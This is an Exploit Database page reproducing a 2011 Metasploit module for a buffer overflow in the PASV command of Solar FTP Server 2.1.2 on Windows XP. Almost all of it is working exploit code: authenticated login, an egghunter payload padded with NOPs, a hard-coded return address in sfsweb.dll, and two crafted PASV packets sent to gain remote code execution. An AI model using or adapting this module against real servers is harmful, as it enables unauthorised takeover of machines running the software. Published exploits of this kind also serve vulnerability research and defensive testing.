Solar FTP Server 2.1.2 – PASV Buffer Overflow (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Qnix
  日期： 2011-08-19
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17692/

• # Exploit Title: Solarftp v2.1.2 PASV buffer overflow
  # Date: Aug 17, 2011
  # Author: qnix
  # Software Link: http://solarftp.com/files/solarftps-setup.exe
  # Version: 2.1.2
  # Tested on: Windows XP Universal
  # Detailed info: http://0x80.org/blog/?p=545
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  	include Msf::Exploit::Remote::Ftp
  	include Msf::Exploit::Remote::Egghunter
  	
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
  				You must have valid credentials to trigger this vulnerability. Also, you
  				ony get one chance.
  			},
  			'Author' => 'qnix',
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'URL', 'http://0x80.org/blog/?p=545'],
  				],
  			'DefaultOptions' =>
  				{
  					'WfsDelay' => 45,
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  													 #1001BD23 . FFE0 JMP EAX@sfsweb.dll
  					[ 'Windows XP Universal', { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
  				],
  			'DisclosureDate' => 'Aug 17 2011',
  			'DefaultTarget'=> 0))
  	end
  
  
  	def exploit
  		connect_login
  		print_status("Trying target #{target.name}")
  
  		print_status("Creating Egg Hunter")
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "W00T"
  		}
  		hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  		
  		fix = "\x11" 		# To fix some left overs from uncontrolled buffer
  							# to avoid access violation.
  		pk1 = make_nops(75)
  		pk1 << fix
  		pk1 << make_nops(20)
  		pk1 << hunter
  		pk1 << make_nops((100-fix.length-hunter.length))
  		pk1 << [target.ret].pack('V')
  		pk1 << egg
  		pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
  		print_status("Sending first packet...")
  		send_cmd( ["PASV",pk1], false)
  		
  		pk2 = make_nops(3000)
  		print_status("Sending second packet...")
  		send_cmd( ["PASV",pk2], false)
  		
  		handler
  		disconnect
  	end
  
  end